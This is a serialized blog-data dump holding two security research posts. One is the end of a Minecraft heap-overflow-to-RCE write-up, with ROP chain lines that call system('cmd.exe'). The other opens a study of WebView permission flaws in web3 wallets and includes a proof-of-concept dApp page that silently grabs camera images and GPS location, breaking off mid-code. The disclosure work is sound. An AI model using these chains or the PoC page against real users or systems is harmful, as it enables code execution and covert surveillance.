rcx\n",{"type":22,"tag":118,"props":157922,"children":157923},{"class":120,"line":492},[157924],{"type":22,"tag":118,"props":157925,"children":157926},{"style":125},[157927],{"type":28,"value":157928},"rop.gadget(pop_rdx)\n",{"type":22,"tag":118,"props":157930,"children":157931},{"class":120,"line":501},[157932,157936,157940,157944,157948,157952,157956,157960],{"type":22,"tag":118,"props":157933,"children":157934},{"style":125},[157935],{"type":28,"value":157768},{"type":22,"tag":118,"props":157937,"children":157938},{"style":146},[157939],{"type":28,"value":157773},{"type":22,"tag":118,"props":157941,"children":157942},{"style":674},[157943],{"type":28,"value":157778},{"type":22,"tag":118,"props":157945,"children":157946},{"style":210},[157947],{"type":28,"value":10905},{"type":22,"tag":118,"props":157949,"children":157950},{"style":146},[157951],{"type":28,"value":157713},{"type":22,"tag":118,"props":157953,"children":157954},{"style":674},[157955],{"type":28,"value":90849},{"type":22,"tag":118,"props":157957,"children":157958},{"style":125},[157959],{"type":28,"value":588},{"type":22,"tag":118,"props":157961,"children":157962},{"style":257},[157963],{"type":28,"value":157964},"# offset of \"system\" string\n",{"type":22,"tag":118,"props":157966,"children":157967},{"class":120,"line":519},[157968],{"type":22,"tag":118,"props":157969,"children":157970},{"style":125},[157971],{"type":28,"value":157972},"rop.gadget(get_proc_addr)\n",{"type":22,"tag":118,"props":157974,"children":157975},{"class":120,"line":606},[157976],{"type":22,"tag":118,"props":157977,"children":157978},{"emptyLinePlaceholder":15},[157979],{"type":28,"value":250},{"type":22,"tag":118,"props":157981,"children":157982},{"class":120,"line":615},[157983],{"type":22,"tag":118,"props":157984,"children":157985},{"style":257},[157986],{"type":28,"value":157987},"# call `system(\"cmd.exe\")`\n",{"type":22,"tag":118,"props":157989,"children":157990},{"class":120,"line":685},[157991],{"type":22,"tag":118,"props":157992,"children":157993},{"style":125},[157994],{"type":28,"value":157760},{"type":22,"tag":118,"props":157996,"children":157997},{"class":120,"line":699},[157998,158002,158006,158011,158015],{"type":22,"tag":118,"props":157999,"children":158000},{"style":125},[158001],{"type":28,"value":157768},{"type":22,"tag":118,"props":158003,"children":158004},{"style":146},[158005],{"type":28,"value":157773},{"type":22,"tag":118,"props":158007,"children":158008},{"style":674},[158009],{"type":28,"value":158010},"7468DB8",{"type":22,"tag":118,"props":158012,"children":158013},{"style":125},[158014],{"type":28,"value":588},{"type":22,"tag":118,"props":158016,"children":158017},{"style":257},[158018],{"type":28,"value":158019},"# offset of \"cmd.exe\" string\n",{"type":22,"tag":118,"props":158021,"children":158022},{"class":120,"line":729},[158023,158027],{"type":22,"tag":118,"props":158024,"children":158025},{"style":125},[158026],{"type":28,"value":157795},{"type":22,"tag":118,"props":158028,"children":158029},{"style":257},[158030],{"type":28,"value":157800},{"type":22,"tag":118,"props":158032,"children":158033},{"class":120,"line":771},[158034,158038],{"type":22,"tag":118,"props":158035,"children":158036},{"style":125},[158037],{"type":28,"value":157808},{"type":22,"tag":118,"props":158039,"children":158040},{"style":257},[158041],{"type":28,"value":158042},"# calls `system`\n",{"type":22,"tag":118,"props":158044,"children":158045},{"class":120,"line":785},[158046,158050,158054,158059,158064,158068],{"type":22,"tag":118,"props":158047,"children":158048},{"style":125},[158049],{"type":28,"value":157821},{"type":22,"tag":118,"props":158051,"children":158052},{"style":146},[158053],{"type":28,"value":5243},{"type":22,"tag":118,"props":158055,"children":158056},{"style":1866},[158057],{"type":28,"value":158058},"\"cmd.exe",{"type":22,"tag":118,"props":158060,"children":158061},{"style":50313},[158062],{"type":28,"value":158063},"\\x00",{"type":22,"tag":118,"props":158065,"children":158066},{"style":1866},[158067],{"type":28,"value":22027},{"type":22,"tag":118,"props":158069,"children":158070},{"style":125},[158071],{"type":28,"value":3334},{"type":22,"tag":1289,"props":158073,"children":158075},{"id":158074},"demo",[158076],{"type":28,"value":158077},"Demo",{"type":22,"tag":31,"props":158079,"children":158080},{},[158081],{"type":28,"value":158082},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":22,"tag":133454,"props":158084,"children":158087},{"className":158085,"controls":15},[143421,158086],"blog-video-wide",[158088,158089,158093],{"type":28,"value":143424},{"type":22,"tag":142660,"props":158090,"children":158092},{"src":158091,"type":133452},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":28,"value":143430},{"type":22,"tag":23,"props":158095,"children":158096},{"id":30872},[158097],{"type":28,"value":20914},{"type":22,"tag":31,"props":158099,"children":158100},{},[158101],{"type":28,"value":158102},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":22,"tag":31,"props":158104,"children":158105},{},[158106],{"type":28,"value":158107},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":22,"tag":31,"props":158109,"children":158110},{},[158111],{"type":28,"value":158112},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":22,"tag":4880,"props":158114,"children":158115},{},[158116],{"type":28,"value":4884},{"title":7,"searchDepth":142,"depth":142,"links":158118},[158119,158123,158128,158139],{"id":148779,"depth":142,"text":148782,"children":158120},[158121,158122],{"id":148814,"depth":177,"text":148817},{"id":148830,"depth":177,"text":148833},{"id":148851,"depth":142,"text":148854,"children":158124},[158125,158126,158127],{"id":148867,"depth":177,"text":148870},{"id":148955,"depth":177,"text":148958},{"id":151255,"depth":177,"text":151258},{"id":7430,"depth":142,"text":7433,"children":158129},[158130,158131,158132,158133,158134,158135,158136,158137,158138],{"id":151362,"depth":177,"text":151365},{"id":151387,"depth":177,"text":151390},{"id":151524,"depth":177,"text":151527},{"id":153688,"depth":177,"text":153691},{"id":154050,"depth":177,"text":154053},{"id":154870,"depth":177,"text":154873},{"id":156984,"depth":177,"text":156987},{"id":157602,"depth":177,"text":157605},{"id":158074,"depth":177,"text":158077},{"id":30872,"depth":142,"text":20914},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":158144,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":158145,"description":158146,"date":158147,"author":158148,"image":158150,"isFeatured":15,"onBlogPage":15,"tags":158152,"body":158154,"_type":4896,"_id":160477,"_source":4898,"_file":160478,"_stem":160479,"_extension":4901},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[33140,33139,158149],"nikolaos",{"src":158151,"width":98864,"height":13},"/posts/insecure-webview-integrations/title.png",[34079,133560,158153],"webview",{"type":19,"children":158155,"toc":160464},[158156,158161,158166,158172,158177,158182,158187,158193,158198,158204,158226,158239,158259,158273,158279,158293,158301,158306,158312,158317,158326,158347,158491,158496,158502,158507,158512,158526,158530,158535,158553,159981,159985,159990,160002,160011,160016,160022,160044,160052,160057,160063,160068,160086,160091,160097,160110,160392,160420,160433,160438,160451,160455,160460],{"type":22,"tag":31,"props":158157,"children":158158},{},[158159],{"type":28,"value":158160},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":22,"tag":31,"props":158162,"children":158163},{},[158164],{"type":28,"value":158165},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":22,"tag":37313,"props":158167,"children":158169},{"id":158168},"exploiting-mobile-webviews",[158170],{"type":28,"value":158171},"Exploiting Mobile WebViews",{"type":22,"tag":31,"props":158173,"children":158174},{},[158175],{"type":28,"value":158176},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":22,"tag":31,"props":158178,"children":158179},{},[158180],{"type":28,"value":158181},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":22,"tag":31,"props":158183,"children":158184},{},[158185],{"type":28,"value":158186},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":22,"tag":23,"props":158188,"children":158190},{"id":158189},"handling-webview-permissions",[158191],{"type":28,"value":158192},"Handling WebView permissions",{"type":22,"tag":31,"props":158194,"children":158195},{},[158196],{"type":28,"value":158197},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":22,"tag":1289,"props":158199,"children":158201},{"id":158200},"android",[158202],{"type":28,"value":158203},"Android",{"type":22,"tag":31,"props":158205,"children":158206},{},[158207,158209,158216,158218,158224],{"type":28,"value":158208},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":22,"tag":42,"props":158210,"children":158213},{"href":158211,"rel":158212},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[46],[158214],{"type":28,"value":158215},"onPermissionRequest",{"type":28,"value":158217},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":22,"tag":114,"props":158219,"children":158221},{"className":158220},[],[158222],{"type":28,"value":158223},"PermissionRequest",{"type":28,"value":158225}," object where the WebView developers must decide whether to grant or deny it.",{"type":22,"tag":1269,"props":158227,"children":158228},{},[158229],{"type":22,"tag":31,"props":158230,"children":158231},{},[158232,158234,158237],{"type":28,"value":158233},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":22,"tag":118,"props":158235,"children":158236},{},[],{"type":28,"value":158238},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":22,"tag":31,"props":158240,"children":158241},{},[158242,158244,158250,158252,158258],{"type":28,"value":158243},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":22,"tag":114,"props":158245,"children":158247},{"className":158246},[],[158248],{"type":28,"value":158249},"getOrigin()",{"type":28,"value":158251}," and the requested permissions with ",{"type":22,"tag":114,"props":158253,"children":158255},{"className":158254},[],[158256],{"type":28,"value":158257},"getResources()",{"type":28,"value":292},{"type":22,"tag":31,"props":158260,"children":158261},{},[158262,158264,158271],{"type":28,"value":158263},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":22,"tag":42,"props":158265,"children":158268},{"href":158266,"rel":158267},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[46],[158269],{"type":28,"value":158270},"webview_shell",{"type":28,"value":158272},". In this instance, no origin checks are performed.",{"type":22,"tag":1289,"props":158274,"children":158276},{"id":158275},"ios",[158277],{"type":28,"value":158278},"iOS",{"type":22,"tag":31,"props":158280,"children":158281},{},[158282,158284,158291],{"type":28,"value":158283},"On the contrary, iOS ",{"type":22,"tag":42,"props":158285,"children":158288},{"href":158286,"rel":158287},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[46],[158289],{"type":28,"value":158290},"documentation",{"type":28,"value":158292}," states that:",{"type":22,"tag":1269,"props":158294,"children":158295},{},[158296],{"type":22,"tag":31,"props":158297,"children":158298},{},[158299],{"type":28,"value":158300},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":22,"tag":31,"props":158302,"children":158303},{},[158304],{"type":28,"value":158305},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":22,"tag":23,"props":158307,"children":158309},{"id":158308},"the-shortcomings-of-webview-implementations",[158310],{"type":28,"value":158311},"The shortcomings of WebView implementations",{"type":22,"tag":31,"props":158313,"children":158314},{},[158315],{"type":28,"value":158316},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":22,"tag":33285,"props":158318,"children":158319},{"style":33287},[158320],{"type":22,"tag":5928,"props":158321,"children":158325},{"src":158322,"alt":158323,"style":158324},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":22,"tag":31,"props":158327,"children":158328},{},[158329,158331,158337,158339,158345],{"type":28,"value":158330},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":22,"tag":114,"props":158332,"children":158334},{"className":158333},[],[158335],{"type":28,"value":158336},"react-native-webview",{"type":28,"value":158338},". If we take a look at how they handle a request that reaches the ",{"type":22,"tag":42,"props":158340,"children":158343},{"href":158341,"rel":158342},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[46],[158344],{"type":28,"value":158215},{"type":28,"value":158346}," method, we see a similar pattern.",{"type":22,"tag":107,"props":158348,"children":158352},{"className":158349,"code":158350,"language":158351,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n    request.grant(grantedPermissions.toArray(new String[0]));\n    grantedPermissions = null;\n    return;\n}\n","java",[158353],{"type":22,"tag":114,"props":158354,"children":158355},{"__ignoreMap":7},[158356,158364,158393,158453,158473,158484],{"type":22,"tag":118,"props":158357,"children":158358},{"class":120,"line":121},[158359],{"type":22,"tag":118,"props":158360,"children":158361},{"style":257},[158362],{"type":28,"value":158363},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":22,"tag":118,"props":158365,"children":158366},{"class":120,"line":142},[158367,158371,158375,158380,158384,158389],{"type":22,"tag":118,"props":158368,"children":158369},{"style":1480},[158370],{"type":28,"value":17553},{"type":22,"tag":118,"props":158372,"children":158373},{"style":125},[158374],{"type":28,"value":842},{"type":22,"tag":118,"props":158376,"children":158377},{"style":204},[158378],{"type":28,"value":158379},"requestedAndroidPermissions",{"type":22,"tag":118,"props":158381,"children":158382},{"style":125},[158383],{"type":28,"value":292},{"type":22,"tag":118,"props":158385,"children":158386},{"style":532},[158387],{"type":28,"value":158388},"isEmpty",{"type":22,"tag":118,"props":158390,"children":158391},{"style":125},[158392],{"type":28,"value":93617},{"type":22,"tag":118,"props":158394,"children":158395},{"class":120,"line":177},[158396,158401,158405,158410,158414,158419,158423,158428,158432,158436,158441,158445,158449],{"type":22,"tag":118,"props":158397,"children":158398},{"style":204},[158399],{"type":28,"value":158400},"    request",{"type":22,"tag":118,"props":158402,"children":158403},{"style":125},[158404],{"type":28,"value":292},{"type":22,"tag":118,"props":158406,"children":158407},{"style":532},[158408],{"type":28,"value":158409},"grant",{"type":22,"tag":118,"props":158411,"children":158412},{"style":125},[158413],{"type":28,"value":540},{"type":22,"tag":118,"props":158415,"children":158416},{"style":204},[158417],{"type":28,"value":158418},"grantedPermissions",{"type":22,"tag":118,"props":158420,"children":158421},{"style":125},[158422],{"type":28,"value":292},{"type":22,"tag":118,"props":158424,"children":158425},{"style":532},[158426],{"type":28,"value":158427},"toArray",{"type":22,"tag":118,"props":158429,"children":158430},{"style":125},[158431],{"type":28,"value":540},{"type":22,"tag":118,"props":158433,"children":158434},{"style":1480},[158435],{"type":28,"value":4256},{"type":22,"tag":118,"props":158437,"children":158438},{"style":131},[158439],{"type":28,"value":158440}," String",{"type":22,"tag":118,"props":158442,"children":158443},{"style":125},[158444],{"type":28,"value":5746},{"type":22,"tag":118,"props":158446,"children":158447},{"style":674},[158448],{"type":28,"value":6036},{"type":22,"tag":118,"props":158450,"children":158451},{"style":125},[158452],{"type":28,"value":105108},{"type":22,"tag":118,"props":158454,"children":158455},{"class":120,"line":195},[158456,158461,158465,158469],{"type":22,"tag":118,"props":158457,"children":158458},{"style":125},[158459],{"type":28,"value":158460},"    grantedPermissions ",{"type":22,"tag":118,"props":158462,"children":158463},{"style":210},[158464],{"type":28,"value":282},{"type":22,"tag":118,"props":158466,"children":158467},{"style":146},[158468],{"type":28,"value":72208},{"type":22,"tag":118,"props":158470,"children":158471},{"style":125},[158472],{"type":28,"value":801},{"type":22,"tag":118,"props":158474,"children":158475},{"class":120,"line":244},[158476,158480],{"type":22,"tag":118,"props":158477,"children":158478},{"style":1480},[158479],{"type":28,"value":18954},{"type":22,"tag":118,"props":158481,"children":158482},{"style":125},[158483],{"type":28,"value":801},{"type":22,"tag":118,"props":158485,"children":158486},{"class":120,"line":253},[158487],{"type":22,"tag":118,"props":158488,"children":158489},{"style":125},[158490],{"type":28,"value":481},{"type":22,"tag":31,"props":158492,"children":158493},{},[158494],{"type":28,"value":158495},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":22,"tag":1289,"props":158497,"children":158499},{"id":158498},"real-world-exploitation",[158500],{"type":28,"value":158501},"Real world exploitation",{"type":22,"tag":31,"props":158503,"children":158504},{},[158505],{"type":28,"value":158506},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":22,"tag":31,"props":158508,"children":158509},{},[158510],{"type":28,"value":158511},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":22,"tag":31,"props":158513,"children":158514},{},[158515,158517,158524],{"type":28,"value":158516},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":22,"tag":42,"props":158518,"children":158521},{"href":158519,"rel":158520},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[46],[158522],{"type":28,"value":158523},"Justson",{"type":28,"value":158525},", used by a popular wallet in the Stellar ecosystem.",{"type":22,"tag":1899,"props":158527,"children":158528},{"id":41446},[158529],{"type":28,"value":36769},{"type":22,"tag":31,"props":158531,"children":158532},{},[158533],{"type":28,"value":158534},"In order to exploit this issue, we assume the following preconditions:",{"type":22,"tag":4029,"props":158536,"children":158537},{},[158538,158543,158548],{"type":22,"tag":68,"props":158539,"children":158540},{},[158541],{"type":28,"value":158542},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":22,"tag":68,"props":158544,"children":158545},{},[158546],{"type":28,"value":158547},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":22,"tag":68,"props":158549,"children":158550},{},[158551],{"type":28,"value":158552},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":22,"tag":107,"props":158554,"children":158556},{"className":51962,"code":158555,"language":34321,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n    \u003Cmeta charset=\"utf-8\">\n    \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n    \u003Ch2>Smile dApp :)\u003C/h2>\n    \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n    \u003Cpre id=\"gps\">\u003C/pre>\n    \u003Cimg id=\"pic\">\n    \u003Cscript>\n        window.addEventListener('unhandledrejection', function (event) {\n            alert(`Unhandled Promise Rejection: ${event.reason}`);\n        });\n        window.onerror = function (msg, url, line, col, error) {\n            alert('onerror: ' + msg);\n            return false;\n        };\n\n        async function main() {\n            const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n            const video = document.createElement(\"video\");\n            video.srcObject = stream;\n            const canvas = document.createElement(\"canvas\");\n\n            video.onloadedmetadata = () => {\n                canvas.width = video.videoWidth;\n                canvas.height = video.videoHeight;\n            };\n\n            connect.onclick = e => {\n                video.play();\n\n                canvas.getContext(\"2d\").drawImage(video, 0, 0);\n                stream.getTracks().forEach(t => t.stop());\n                canvas.toBlob((blob) => {\n                    pic.src = URL.createObjectURL(blob);\n                });\n\n                navigator.geolocation.getCurrentPosition(pos => {\n                    const c = pos.coords;\n                    gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n                }, err => alert(err));\n            };\n\n        }\n        main();\n    \u003C/script>\n\u003C/body>\n\u003C/html>\n",[158557],{"type":22,"tag":114,"props":158558,"children":158559},{"__ignoreMap":7},[158560,158580,158595,158611,158641,158664,158679,158694,158726,158772,158808,158836,158851,158897,158943,158951,159019,159047,159062,159070,159077,159097,159157,159198,159227,159268,159275,159304,159342,159379,159386,159393,159426,159447,159454,159516,159572,159608,159654,159662,159669,159712,159745,159870,159903,159910,159917,159924,159936,159951,159966],{"type":22,"tag":118,"props":158561,"children":158562},{"class":120,"line":121},[158563,158567,158571,158576],{"type":22,"tag":118,"props":158564,"children":158565},{"style":34314},[158566],{"type":28,"value":36165},{"type":22,"tag":118,"props":158568,"children":158569},{"style":146},[158570],{"type":28,"value":36170},{"type":22,"tag":118,"props":158572,"children":158573},{"style":204},[158574],{"type":28,"value":158575}," html",{"type":22,"tag":118,"props":158577,"children":158578},{"style":34314},[158579],{"type":28,"value":8002},{"type":22,"tag":118,"props":158581,"children":158582},{"class":120,"line":142},[158583,158587,158591],{"type":22,"tag":118,"props":158584,"children":158585},{"style":34314},[158586],{"type":28,"value":559},{"type":22,"tag":118,"props":158588,"children":158589},{"style":146},[158590],{"type":28,"value":34321},{"type":22,"tag":118,"props":158592,"children":158593},{"style":34314},[158594],{"type":28,"value":8002},{"type":22,"tag":118,"props":158596,"children":158597},{"class":120,"line":177},[158598,158602,158607],{"type":22,"tag":118,"props":158599,"children":158600},{"style":34314},[158601],{"type":28,"value":559},{"type":22,"tag":118,"props":158603,"children":158604},{"style":146},[158605],{"type":28,"value":158606},"head",{"type":22,"tag":118,"props":158608,"children":158609},{"style":34314},[158610],{"type":28,"value":8002},{"type":22,"tag":118,"props":158612,"children":158613},{"class":120,"line":195},[158614,158618,158623,158628,158632,158637],{"type":22,"tag":118,"props":158615,"children":158616},{"style":34314},[158617],{"type":28,"value":34384},{"type":22,"tag":118,"props":158619,"children":158620},{"style":146},[158621],{"type":28,"value":158622},"meta",{"type":22,"tag":118,"props":158624,"children":158625},{"style":204},[158626],{"type":28,"value":158627}," charset",{"type":22,"tag":118,"props":158629,"children":158630},{"style":125},[158631],{"type":28,"value":282},{"type":22,"tag":118,"props":158633,"children":158634},{"style":1866},[158635],{"type":28,"value":158636},"\"utf-8\"",{"type":22,"tag":118,"props":158638,"children":158639},{"style":34314},[158640],{"type":28,"value":8002},{"type":22,"tag":118,"props":158642,"children":158643},{"class":120,"line":244},[158644,158648,158652,158656,158660],{"type":22,"tag":118,"props":158645,"children":158646},{"style":34314},[158647],{"type":28,"value":34384},{"type":22,"tag":118,"props":158649,"children":158650},{"style":146},[158651],{"type":28,"value":36243},{"type":22,"tag":118,"props":158653,"children":158654},{"style":34314},[158655],{"type":28,"value":52006},{"type":22,"tag":118,"props":158657,"children":158658},{"style":146},[158659],{"type":28,"value":36243},{"type":22,"tag":118,"props":158661,"children":158662},{"style":34314},[158663],{"type":28,"value":8002},{"type":22,"tag":118,"props":158665,"children":158666},{"class":120,"line":253},[158667,158671,158675],{"type":22,"tag":118,"props":158668,"children":158669},{"style":34314},[158670],{"type":28,"value":34368},{"type":22,"tag":118,"props":158672,"children":158673},{"style":146},[158674],{"type":28,"value":158606},{"type":22,"tag":118,"props":158676,"children":158677},{"style":34314},[158678],{"type":28,"value":8002},{"type":22,"tag":118,"props":158680,"children":158681},{"class":120,"line":263},[158682,158686,158690],{"type":22,"tag":118,"props":158683,"children":158684},{"style":34314},[158685],{"type":28,"value":559},{"type":22,"tag":118,"props":158687,"children":158688},{"style":146},[158689],{"type":28,"value":34338},{"type":22,"tag":118,"props":158691,"children":158692},{"style":34314},[158693],{"type":28,"value":8002},{"type":22,"tag":118,"props":158695,"children":158696},{"class":120,"line":318},[158697,158701,158705,158709,158714,158718,158722],{"type":22,"tag":118,"props":158698,"children":158699},{"style":34314},[158700],{"type":28,"value":34384},{"type":22,"tag":118,"props":158702,"children":158703},{"style":146},[158704],{"type":28,"value":23},{"type":22,"tag":118,"props":158706,"children":158707},{"style":34314},[158708],{"type":28,"value":12460},{"type":22,"tag":118,"props":158710,"children":158711},{"style":125},[158712],{"type":28,"value":158713},"Smile dApp :)",{"type":22,"tag":118,"props":158715,"children":158716},{"style":34314},[158717],{"type":28,"value":34368},{"type":22,"tag":118,"props":158719,"children":158720},{"style":146},[158721],{"type":28,"value":23},{"type":22,"tag":118,"props":158723,"children":158724},{"style":34314},[158725],{"type":28,"value":8002},{"type":22,"tag":118,"props":158727,"children":158728},{"class":120,"line":351},[158729,158733,158738,158742,158746,158751,158755,158760,158764,158768],{"type":22,"tag":118,"props":158730,"children":158731},{"style":34314},[158732],{"type":28,"value":34384},{"type":22,"tag":118,"props":158734,"children":158735},{"style":146},[158736],{"type":28,"value":158737},"button",{"type":22,"tag":118,"props":158739,"children":158740},{"style":204},[158741],{"type":28,"value":34394},{"type":22,"tag":118,"props":158743,"children":158744},{"style":125},[158745],{"type":28,"value":282},{"type":22,"tag":118,"props":158747,"children":158748},{"style":1866},[158749],{"type":28,"value":158750},"\"connect\"",{"type":22,"tag":118,"props":158752,"children":158753},{"style":34314},[158754],{"type":28,"value":12460},{"type":22,"tag":118,"props":158756,"children":158757},{"style":125},[158758],{"type":28,"value":158759},"Connect your wallet!",{"type":22,"tag":118,"props":158761,"children":158762},{"style":34314},[158763],{"type":28,"value":34368},{"type":22,"tag":118,"props":158765,"children":158766},{"style":146},[158767],{"type":28,"value":158737},{"type":22,"tag":118,"props":158769,"children":158770},{"style":34314},[158771],{"type":28,"value":8002},{"type":22,"tag":118,"props":158773,"children":158774},{"class":120,"line":359},[158775,158779,158783,158787,158791,158796,158800,158804],{"type":22,"tag":118,"props":158776,"children":158777},{"style":34314},[158778],{"type":28,"value":34384},{"type":22,"tag":118,"props":158780,"children":158781},{"style":146},[158782],{"type":28,"value":107},{"type":22,"tag":118,"props":158784,"children":158785},{"style":204},[158786],{"type":28,"value":34394},{"type":22,"tag":118,"props":158788,"children":158789},{"style":125},[158790],{"type":28,"value":282},{"type":22,"tag":118,"props":158792,"children":158793},{"style":1866},[158794],{"type":28,"value":158795},"\"gps\"",{"type":22,"tag":118,"props":158797,"children":158798},{"style":34314},[158799],{"type":28,"value":52006},{"type":22,"tag":118,"props":158801,"children":158802},{"style":146},[158803],{"type":28,"value":107},{"type":22,"tag":118,"props":158805,"children":158806},{"style":34314},[158807],{"type":28,"value":8002},{"type":22,"tag":118,"props":158809,"children":158810},{"class":120,"line":368},[158811,158815,158819,158823,158827,158832],{"type":22,"tag":118,"props":158812,"children":158813},{"style":34314},[158814],{"type":28,"value":34384},{"type":22,"tag":118,"props":158816,"children":158817},{"style":146},[158818],{"type":28,"value":5928},{"type":22,"tag":118,"props":158820,"children":158821},{"style":204},[158822],{"type":28,"value":34394},{"type":22,"tag":118,"props":158824,"children":158825},{"style":125},[158826],{"type":28,"value":282},{"type":22,"tag":118,"props":158828,"children":158829},{"style":1866},[158830],{"type":28,"value":158831},"\"pic\"",{"type":22,"tag":118,"props":158833,"children":158834},{"style":34314},[158835],{"type":28,"value":8002},{"type":22,"tag":118,"props":158837,"children":158838},{"class":120,"line":384},[158839,158843,158847],{"type":22,"tag":118,"props":158840,"children":158841},{"style":34314},[158842],{"type":28,"value":34384},{"type":22,"tag":118,"props":158844,"children":158845},{"style":146},[158846],{"type":28,"value":34354},{"type":22,"tag":118,"props":158848,"children":158849},{"style":34314},[158850],{"type":28,"value":8002},{"type":22,"tag":118,"props":158852,"children":158853},{"class":120,"line":417},[158854,158859,158863,158868,158872,158877,158881,158885,158889,158893],{"type":22,"tag":118,"props":158855,"children":158856},{"style":204},[158857],{"type":28,"value":158858},"        window",{"type":22,"tag":118,"props":158860,"children":158861},{"style":210},[158862],{"type":28,"value":292},{"type":22,"tag":118,"props":158864,"children":158865},{"style":532},[158866],{"type":28,"value":158867},"addEventListener",{"type":22,"tag":118,"props":158869,"children":158870},{"style":210},[158871],{"type":28,"value":540},{"type":22,"tag":118,"props":158873,"children":158874},{"style":1866},[158875],{"type":28,"value":158876},"'unhandledrejection'",{"type":22,"tag":118,"props":158878,"children":158879},{"style":210},[158880],{"type":28,"value":231},{"type":22,"tag":118,"props":158882,"children":158883},{"style":146},[158884],{"type":28,"value":33316},{"type":22,"tag":118,"props":158886,"children":158887},{"style":210},[158888],{"type":28,"value":842},{"type":22,"tag":118,"props":158890,"children":158891},{"style":204},[158892],{"type":28,"value":83724},{"type":22,"tag":118,"props":158894,"children":158895},{"style":210},[158896],{"type":28,"value":16783},{"type":22,"tag":118,"props":158898,"children":158899},{"class":120,"line":425},[158900,158905,158909,158914,158918,158922,158926,158931,158935,158939],{"type":22,"tag":118,"props":158901,"children":158902},{"style":532},[158903],{"type":28,"value":158904},"            alert",{"type":22,"tag":118,"props":158906,"children":158907},{"style":210},[158908],{"type":28,"value":540},{"type":22,"tag":118,"props":158910,"children":158911},{"style":1866},[158912],{"type":28,"value":158913},"`Unhandled Promise Rejection: 